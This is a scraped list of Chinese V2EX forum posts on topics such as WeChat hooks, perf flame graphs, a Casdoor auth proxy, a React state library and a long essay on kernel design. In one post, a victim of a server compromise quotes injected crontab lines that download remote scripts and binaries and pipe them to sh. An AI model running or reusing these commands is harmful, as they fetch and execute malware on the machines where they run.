之前基于开源的一个微信 hook 工具拦截微信消息，包括信用卡公众号的交易提醒，做了一个简单的自动记账工具跑了几年挺方便的，但是 hook 工具这两年不维护了，就想自己研究下 hook 。

家里一直有一台 macmini M1 在跑，之前为了跑微信 hook 工具专门弄了台 win 小主机，所以想问一下如果要研究下微信最简单的收发消息的话，mac 和 win 下面哪个好入手一些？不需要除了收发消息外其它功能。
要是 mac 下也好搞的话，就可以省掉那台 win 小主机了。

作者: f1ynnv2 | 发布时间: 2025-12-24 03:27

28. 三星手机和一加手机哪个更推荐？续航都怎么样？（不买旗舰）

作者: Zarhani | 发布时间: 2025-12-23 04:27

29. [C++] 生产环境进程不带符号表，用 perf 等最终生成的火焰图无法分析，怎么解呢？

背景

刚转到 C++，之前仅用 C++写过算法题，c++工程这块知之甚少。现在想分析进程的 cpu 消耗情况，于是准备采火焰图

问题

生产环境进程不带符号表，用 perf 采出来都是地址，火焰图上全是进程名字，看不到具体方法名怎么解呢？

当前临时的做法是重新编译了一个带符号表的版本，想知道生产环境采火焰图的最佳实践是啥呢？以及有没有大佬推荐一些性能分析的博客呢

作者: Charlie17Li | 发布时间: 2025-12-24 14:14

30. 基于 casdoor 的 ELK 开源登录认证解决方案: elk-auth-casdoor

前言

ELK 的一大缺点就是这东西最初是没有登录机制的，只要拿到了 url 地址，kibana 看板谁都可以访问一下。后来 ELK 自带了一套 xpack 进行登录认证，可是除了账户名密码登录这种最原始的方法，剩下的高级功能，比如 oauth, oidc, ldap ，统统都是收费的…..总不能给每个人都专门搞一个 kibana 账户名密码吧……

所以呢，这里有一个基于 casdoor 的 elk 鉴权解决方案，不要钱，开源的，还有人维护呢~。Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台，而 casdoor/elk-auth-casdoor 这套解决方案，则是一个 反向代理，他可以拦截所有未经登录的前往 elk 的 http 访问流量，并且引导未登录用户进行登录，而且这个反向代理对已登录用户是完全透明 的。

仓库地址 https://github.com/casdoor/elk-auth-casdoor

QQ 群：645200447

如果您有更多相关的特殊需求可以加群，我们会有专人对接~ （可以联系 ComradeProgrammer ）

casdoor 是什么

Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台，简单点说，就是 Casdoor 可以帮你解决 用户管理 的难题，你无需开发用户登录注册等与用户鉴权相关的一系列功能，只需几个步骤，简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。

仓库地址： https://github.com/casbin/casdoor

演示地址： https://door.casbin.com/

官网文档： https://casdoor.org/

QQ 群：645200447

Casdoor 还支持 ldap ，saml 等诸多功能…..

Casdoor 目前作为 Casbin 社区项目统一使用的鉴权平台，项目已开源，希望得到大家的一些建议和 Star~，我们会及时跟进反馈并改正问题哒

Casdoor 又有哪些特性？

  • 支持普通的账户密码注册登录，也支持各种常见的第三方认证，例如 GitHub 、Facebook 、Google 、Wechat 、QQ 、LinkedIn 等等，截止目前共 9 个平台，并在不断听取用户建议对更多的平台提供支持。
  • 管理方便。Casdoor 内部将模块分为了 5 大类，Organization 、User 、Application 、Token 和 Provider 。可以同时接入多个组织，组织下有不同应用，用户可以通过应用或组织分类，单独管理任何组织、应用或用户的 Token 令牌，轻松管理复杂系统，目前已部署在 Casbin 社区各种系统当作鉴权平台。
  • 自定义程度高。Casdoor 可以随意修改登录方式，例如是否允许密码或第三方登录，自定义应用的注册项数量，是否启用两步验证，以及是否允许各个 Provider 登录、注册等等，高度可插拔。
  • 具备 Swagger API 文档。清晰的 API 介绍，无需阅读源代码即可直接方便调用各个 API 接口，提供定制化功能。
  • 前后端分离架构，部署简单。作为统一认证平台，除了性能，稳定性，新特性之外，易用性也是考量的重要标准，Casdoor 后端使用 Golang 语言开发，前端使用 React.js 框架，使用者只需启动后端服务，并将前端工程文件打包，即可直接使用，操作简单，上手难度低。 …

作者: Casbin | 发布时间: 2024-03-08 02:33

31. 比较好奇，为什么昨晚快手的审核手段失效？

很神奇的一个事情，持续时间也不算短

作者: Dabney | 发布时间: 2025-12-23 00:51

32. 我宣布 ide 之战, 谷歌赢了

反正折腾一通, 也是嫖上了谷歌免费套餐了

能用一年了

昨天把其他 ide 全卸载了, 打算只专注用 antigravity 了

初步测试, 效果还是很满意得

小型项目, 打开自动执行, 基本不折腾

作者: iorilu | 发布时间: 2025-12-23 02:25

33. google 的 AI IDE Antigravity 在远程开发机时无法使用

有人遇到过一样的问题吗？ 使用 remote ssh 到远程开发机的时候，chat 框会一直 hang 在：One moment, the agent is currently loading

只有在开发机上也配好 TUN 模式的 VPN 才行。而 Cursor 、VScode （ github copilot ）都没遇到过这个问题，似乎在远程开发机上也会链接 google 服务器进行权限校验。

作者: yuan1028 | 发布时间: 2025-12-24 15:02

34. React 缺失的“M”层：我开发了 Zenith，重塑完整的 Model

迷失的 Model

我们在谈论 React 时常说 UI = f(State)。React 完美地解决了 View （视图） 层，但对于 Model （数据模型） 层，社区的探索从未停止。

从 Redux 到 Hooks ，再到 Zustand ，我们越来越追求“原子化”和“碎片化”。这带来了极简的 API ，但也带来了一个严重的副作用：Model （模型）的破碎 。

你是否遇到过这种情况：

  • 数据 (State) 定义在一个 create 函数里。
  • 计算 (Computed) 散落在组件的 useMemo 或各种 Selector 函数里。
  • 行为 (Action) 散落在 useEffect 或各个 Event Handler 里。

“Model” 消失了，取而代之的是散落在各处的逻辑碎片。

Zenith：重塑 Model 层

Zenith 注重于高内聚（ Co-location ） 的开发体验，可以把数据 (State) 、计算 (Computed) 和 行为 (Action) 紧紧地封装在一起。

Zenith = Zustand 的极简 + MobX 的组织力 + Immer 的不可变基石

核心特性：“诚实”的 Model

1. 完整的模型定义 (Co-location)

在 Zenith 中，你不需要在闭包里用 get() 去“偷窥”状态，也不用担心 set 的黑盒逻辑。一个 Store 就是一个完整的、逻辑自洽的业务单元。

class TodoStore extends ZenithStore<State> {
  // 1. 数据 (State)
  constructor() {
    super({ todos: [], filter: 'all' });
  }
​
  // 2. 自动计算属性 (Computed)
  // 告别手动写 Selector ，告别 useMemo
  // 像定义原生 getter 一样定义派生状态
  @memo((s) => [s.state.todos, s.state.filter])
  get filteredTodos() {
    const { todos, filter } = this.state;
    // ...逻辑
  }
​
  // 3. 行为 (Action)
  // 诚实地使用 this ，UI 层绝不能直接碰 State
  addTodo(text: string) {
    this.produce((draft) => {
      draft.todos.push({ text, completed: false });
    });
  }
}

2. 链式派生：自动化的数据流

MobX 最让人着迷的是它的自动响应能力。Zenith 完美复刻了这一点，但底层依然是 Immutable Data 。

你可以基于一个计算属性，派生出另一个计算属性（ A -> B -> C ）。当 A 变化时，C 会自动更新。我们不再需要手动维护依赖链，也不需要在组件里写一堆 useMemo，一切计算逻辑都收敛在 Model 内部 。

3. 组件即视图 (View)：像 Zustand 一样简单

定义 Model 虽然严谨，但在组件里使用必须极致简单。Zenith 提供了完全符合 React Hooks 习惯的 API 。

你不需要高阶组件（ HOC ），不需要 Connect ，只需要一个 Hook：

const { useStore, useStoreApi } = createReactStore(TodoStore);
​
function TodoList() {
  // ✅ 像 Zustand 一样选择状态
  // 只有当 filteredTodos 变化时，组件才会重渲染
  const todos = useStore((s) => s.filteredTodos);
  
  // ✅ 获取完整的 Model 实例 (Action)
  const store = useStoreApi();
​
  return (
    <div>
      {todos.map((todo) => (
         // UI 只负责触发意图，不负责实现逻辑
        <div onClick={() => store.toggle(todo.id)}>
          {todo.text}
        </div>
      ))}
    </div>
  );
}

4. 工程化的胜利

Zenith 不仅仅是一个状态库，它内置了 History (撤销/重做) 和 DevTools 中间件。

我用它构建了 domd markdown WYSIWYG 编辑器，能够支撑 20000 行文档流畅编辑。

结语

Zenith 的出现不是为了争论 FP 好还是 OOP 好。

它只是想告诉你：当你的项目逻辑日益复杂，当你受够了在几十个 Hook 文件中跳来跳去寻找业务逻辑时，你值得拥有一个完整的、诚实的 Model 层。

让代码重归秩序。

Github: https://github.com/do-md/zenith

欢迎 Star 🌟 和 Issue 交流！

作者: jaydenWang | 发布时间: 2025-12-24 01:08

35. 小白的甲骨文云出问题了，求助！

昨天在甲骨文云网站后台修改一下防火墙端口，就没有改别的地方，今天发现两台免费的实例远程都连接不上去了，还以为是被墙了，去后台启动 Cloud Shell 连接，可以正常访问，但是无法访问网络，apt update 都不通，没网络。之前是 chatgpt 教我一步步配置的申请的，今天上午问 chatgpt 搞了半天，也没有找到原因，请教一下 V2EX 上面的大神

作者: superdotcom | 发布时间: 2025-12-24 08:34

36. 想体验不同 AI 应用，求大佬们推荐。

大佬们，虽然现在关于 AI 的讨论非常多，AI 应用的开发需求也不断增加，但是作为日常的互联网用户，感觉实际的应用场景并没有非常多（也可能是我孤陋寡闻）。在我的印象中，目前落地的应用场景有：

1 ，Vibe Coding 相关，也就是 AI 代码编辑器相关的开发。作为程序员，也是能够非常明显的感知到效率的提升的，但是这个领域对中小公司而言，门槛还是太高了。

2 ，AI 知识库相关的，把公司内部的知识库与 AI 结合起来，比如公司培训后，通过 AI 出考试题，作为进行培训后的考试。

3 ，AI 客服系统（作为普通的互联网用户，其实更想要人工客服，感觉 AI 客服都是智障 =。= ）。

4 ，使用 AI 大模型进行翻译的应用，学外语等。

5 ，烂大街的文生图等。

以上就是目前我接触到的印象比较深的 AI 相关的应用（孤陋寡闻，大佬们勿喷。。），大佬们，你们还接触过什么有意思的 AI 落地应用吗？求推荐体验。

作者: autumnshine | 发布时间: 2025-12-24 09:15

37. Linux 漫谈（一）

Linux 漫谈

虽然标题是 Linux 相关，这篇文章和之后的续篇都会将三个主流的系统一起做对比，特别是设计图形界面和桌面的部分。其实鸿蒙系统也非常值得拿来一起对比，但我考虑到这个系列的切入视角是近三十年的发展史，所以就刻意回避了。

选择发布在 Linux 板块，主要还是为了避免无意义的口水仗。以我这些年的经历来看，Linux 用户的典型画像一方面是沉默的少数派，另一方面又往往是用爱发电的主力。所以互联网上的资料常常处于两种极端，要么很专业但要求读者有足够的认知门槛，要么就是语焉不详，甚至可能充斥着错误或者误导性的信息。

我写这篇文章的目的只是简单的想要回答一些为什么类型的问题，尽可能消除一些常见的技术误解。很早之前我就有写这个系列的构思，当时感觉如果要做完整清晰的论述，篇幅会非常长同时依赖大量的基础内容做铺垫。现在有了 AI 的辅助，我就将文章定位为 AI 的提示词，梳理好大纲脉络即可。

另一个目的算是我的私心，这篇文章也是阐述“为什么开发者应当学习 Linux”这样一个观点。我并不急于回答这个问题，而且我相信读过文章的你一定会有自己的理解。至于我把我的理解分享出来这个行为的动机也很简单，我从 Linux 上学到了很多，这些知识经验很大程度上影响了我的职业经历，某种程度上也影响了我的价值观，所以我愿意将这些精神财富再次分享出来。

0x00 前言

我先拿一个可能是误解最深的话题作为引子：“Wayland 协议加剧了 Linux 桌面的碎片化”。很多人会认为 Wayland 协议应当像 Windows/macOS 那样有个统一的标准，而不是现在松散、混乱的实现状态。

如果我告诉你这恰好就是 Wayland 追求的设计目标呢？你可能觉得我或者 Wayland 至少有一个疯了。如果我告诉你“提供机制而非策略（ Mechanism vs Policy ）”恰恰是 X 提出的，而 Wayland 继承了相同的精神内核，估计 X 的支持者也坐不住了吧？

详细阐述问题需要比较多的铺垫，之后的篇幅会做相应的解释。

如果你看过我之前发的文章、帖子，你可能会注意到我经常会用一个词“哲学”。所谓哲学就是回答为什么，如果再直白一点就是“小孩子才做选择，成年人当然是我全都要”的反面，技术领域中很多时候谈论好与坏，本质上是在谈论取舍。哲学的意义再具象化一点可以表述成“设计理念”，它往往有着具体的应用场景和时代背景，以借鉴总结为目的对错、好坏讨论是有意义的，为了宣泄情绪争个输赢属实没有必要。

当然也不是说就没有统一且普适的评判标准了，我之所以喜欢谈哲学就是因为，设计理念及其对应的实现手段是能体现出设计者智慧的。可以这样理解，人类历史上出现过的科学技术到今天可能都被新技术替代了，但是类似数学抽象、以及对物理世界的认知，一起构成了如今的科学技术框架。思想智慧的光芒是不会因为历史进步而被掩盖，反而会更加闪耀。

日常中我们也很少拿如此严苛的标准来评判一般事物，毕竟时间才是最强的检验手段，经得起时间考验的才是大智慧。

如果以图形系统作为后现代操作系统的分界线，目前 Linux/Windows/macOS 差不多都经历了二三十年的发展。关于操作系统好坏的争论一直没有停过，且很少有人讨论好在哪里或者坏在哪里。又或者是没人回答这类问题：那么多开发者竟然解决不了某某问题、为什么某某系统就做不到等等。

与其说我要系统性回答各种疑问或者解析各个误解的原因，不如说是我要回答“为什么某某操作系统会是现在这个样子”，或者“它为什么要这样设计”。三个系统演化成今天的形式，简单说和它们最初的设计思路是分不开的，最初的框架定型之后，想要再改就很困难了，谁都离不开一层层打补丁，这个打补丁的过程又重新巩固了原有的设计。

我相信以今天的视角来看，我们是能够给出比较客观的评判的。

0x10 现代操作系统的基础

为什么需要操作系统？

这个问题似乎简单到不需要思考，那我为什么要把它单独拿出来？因为在我看来，这个问题的答案就如同逻辑三段论中的大前提，后续一切讨论都建立在这个大前提之上。

在操作系统出现之前，可以认为计算机是“单任务”的，即单一程序直接在硬件上运行，通过人工外部手段切换应用程序。随着硬件技术的进步，彼时的开发者迫切需要某种能够让多个应用程序以纯软件的方式共享硬件资源的机制。

这个机制并不完全等同于现代意义上的“多任务”，但在逻辑层面上，二者都是基于“时分复用”这个思想的，甚至人工“单任务”也可以理解为时间片尺度非常大的复用系统。

回到计算机硬件上，核心计算单元 CPU 只是机械地按照程序计数器（ PC ）以及栈指针、寄存器中的数据来执行相应的指令，如果要实现在多个应用程序之间进行切换，实际上只需要实现这个环境保存及恢复机制即可。

这就是对于操作系统最原始的需求。

0x11 内核

如果说图形操作系统的分界线是图形界面，那么现代操作系统的分界线就是内核。所以现在的问题是内核又是怎么来的，要解决什么需求。

现在操作系统的雏形源自 Unix ，估计绝大多数人并不知道它的原始含义。有个戏谑的说法是它代表 uniplexed 也就是单路非复用的意思，与它相对的是 multiplexed 今天一般叫做多路复用，而 Unix 取这个名字就是为了与当时名为 Multics 操作系统的设计做区分。

尽管 Multics 在商业和软硬件技术上都很失败，但它的理念是超越时代的，所有 Unix 之后的现代操作系统都是建立在它的设计思路之上。

内核或者更准确地说保护环（ Protection Rings ）这个概念是 Fernando Corbato （图灵奖得主）在六十年代提出的，在当时的背景下，它旨在解决原始操作系统面临的安全性问题。Multics 的设想是，将庞大昂贵的计算机安全、方便地共享给多人使用，所以提出了环这个概念。同时 Multics 和通用 GE-645 的合作，增加了硬件环支持也是第一次软件需求影响硬件设计的例子，后面这样软硬件相互影响进化的例子就非常普遍了。

为了避免某个应用影响到其他程序，或者影响到操作系统本身，就让操作系统运行在 Ring0 最高权限，而应用程序运行在 Ring3 权限。同时为了解决内存昂贵且管理复杂的问题，Multics 还提出了虚拟内存的概念，包括动态链接技术在内的很多设计都是源自 Multics 操作系统。（还包括 ACL 访问控制列表概念，以及 / 代表的树状目录结构，这里就不展开了）

虽然 Multics 的理念很先进，但受限于当时的技术水平，实现层面却比较失败。后来 Ken Thompson 和 Dennis Ritchie 离开项目，发展出了 Unix 项目。对于环的模型也简化成了 Kernel/User 空间的划分，操作系统就演变成了内核和用户空间辅助程序的组合。

为了准确表述起见，后面提到操作系统的时候都会以其内核的名字来称呼，Linux 自身就是内核名字，Windows 目前的内核依旧称作 NT ，而 macOS 内核的正式名称为 XNU(X is NOT Unix)。

0x12 设计哲学

是的，我又要谈哲学了。

从 Unix/Multics 的对比可以发现，即便理念相同，在具体实现上也会存在巨大的分歧。而从 XNU 这个名字，以及后续 Linux 这个名字，也能看出操作系统发展的脉络。对于不同的设计者而言，他们追求的理想目标不同，在满足操作系统这个基础需求时的解决思路也不同，这便是哲学上的分歧。在后面我们能看到不同的哲学对于操作系统发展带来的巨大影响。

由于 Unix 不在这个系列主要的讨论范围内，这里就总结一下 Unix 影响后世的几个重要哲学观念：

  • Do one thing and do it well. 和 KISS(keep it simple and stupid) 基本是一个意思，这个理念与 Multics 大而全的理念恰恰相反，影响了 awk/sed/grep 等等一系列软件的发展。

  • Worse is better. 这个理念的影响主要是 C/Lisp 的语言，前者是追求工程简单，后者追求形式正确。我更愿意称之为工程派和学院派，为什么 XNU 要强调自己不是 Unix ？因为它诞生于学院派，和 Lisp 一样都追求形式上的正确和美。

  • Everything is a file. Linux Torvalds 称这是 Ken Thompson 最优雅的设计，伟大无需多言。

我觉得到这里已经很明显了，哲学观点属于润物细无声的存在，影响的是对同样事物的不同看法，进而影响做同样事情的不同选择。还是那句话，好和坏都是相对的，对错不重要，为什么更重要。

0x13 对比

铺垫了这么久，终于可以开始对比了。如果说继承 Unix 衣钵的 Linux 算作工程派，XNU 出身学院派（卡内基梅隆大学 Richard Rashid ），那么 NT 应当算作激进的先锋派。

顺便一提，NT 内核的核心设计是 Dave Cutler ，他主导设计了 VMS(Virtual Memory System)，后来成为了 NT 虚拟内存的核心。他最出名的一句话是 Unix is a junk OS designed by a committee of PhDs。鄙视链真是无处不在啊……

在 Unix 诞生之后，操作系统内核的基本框架就确定了。现代内核无论是 Linux 还是 NT/XNU ，最基本的功能模块都包括任务调度和虚拟内存，只是实现层面存在差异。然而不管是哪一派，都不约而同将文件系统、网络栈和硬件驱动放到了内核中。

从技术上讲，Linux 是纯粹的宏内核（ Monolithic ）设计，而且 Linus Torvalds 对此和 Andrew Tanenbaum （微内核之父）有过一场辩论，Linus 认为在九十年代微型内核的性能开销是不可接受的。这种设计下所有的内核功能模块都运行在同一个地址空间。（一般现在说的纯微内核（ MicroKernel ）指的是 Minix/L4 这种，因为性能问题基本没有桌面应用，也就不展开了。）

至于 NT 和 XNU ，学术层面一般的说法是混合内核（ hybrid ），因为它俩都是设计上的微内核，但也都在实现上采用宏内核的方案。

NT 内核的设计者 Dave Cutler 受微内核思想影响，将 NT 内核设计成了很多的子系统，比如 OS/2 和 POSIX 子系统，甚至后来 WSL(windows subsystem for linux) 和 WSA(windows subsystem for android) 都得益于这个设计，后来连 GDI 和 http 服务器也都塞进了内核。XNU 则基本上是把 BSD 的网络栈、文件系统实现直接链接进了内核。当然本质上，NT/XNU 还是和 Linux 一样只有一个地址空间的，只是它们不推荐像 Linux 一样自由访问。

真正的区别在于以下两个问题：

  • 是否将 IPC 放到内核里。 准确的说法应该是：内核各个部分之间依赖直接函数调用进行交互，还是依赖特定协议的 IPC 消息进行交互。

  • 是否将图形系统放到内核里。

在这两个问题上的不同抉择才是真正影响几个操作系统如今不同形式的根本原因，IPC 和图形系统恰恰也是对桌面体验影响最大的两个部分，如果要谈论桌面系统的话题，归根结底都会回到这两个系统的设计上。

说到底，这几个内核的追求都是一样的，既要保证安全，还要追求性能，但在这两个关键问题上走出了不同的路线。

PS 感谢各位没有让 AI 总结而是人工阅读。这会是一个比较长的系列，分开发布一方面是因为确实太长了，另一方面也是想根据反馈来调整后续内容的结构顺序和内容侧重。

作者: kuanat | 发布时间: 2025-12-23 21:45

38. 小鸡中招了,这也是因为 umami 吗？

一台吃灰，只做备份的小鸡，crontab 里多出了下面几条：

* * * * * wget -q -O - http://80.64.16.241/unk.sh | sh > /dev/null 2>&1
30 3,15 * * * (wget -q -O /tmp/corn https://pub-dc84e32afcfa417fa04d36454032549b.r2.dev/corn || curl -fsSL https://pub-dc84e32afcfa417fa04d36454032549b.r2.dev/corn -o /tmp/corn) && chmod +x /tmp/corn && /tmp/corn >/dev/null 2>&1; rm -f /tmp/corn

30 3,15 * * * ((curl -fsSL -m180 http://s3.amazonaws.com/whale-corps-dev/favicon1.ico || wget -T180 -q http://s3.amazonaws.com/whale-corps-dev/favicon1.ico )|sh

另外 apt upgrade 也报错了 docker,也打不开了

这台小鸡装过 umami ，装完就没再管它，管理密码都不记得了 会是因为它的原因吗？

作者: cokyhe | 发布时间: 2025-12-24 12:37

39. 大佬们有没有付费性价比 ai 编辑器或者模型推荐？

咸鱼我看 trae pro 会员最少都要 20 ，还是两人公用的，大佬们有没有其他性价比推荐的，能在 20 以下最好

作者: Croow | 发布时间: 2025-12-24 03:40

40. 完整启用 Fedora/ Linux 下 GNOME 的硬件加速

Intel Arc140T 核显： https://blog.dejavu.moe/posts/fedora-graphics-driver-with-hardware-acceleration/#google-chrome

效果：

作者: DejavuMoe | 发布时间: 2025-12-24 06:03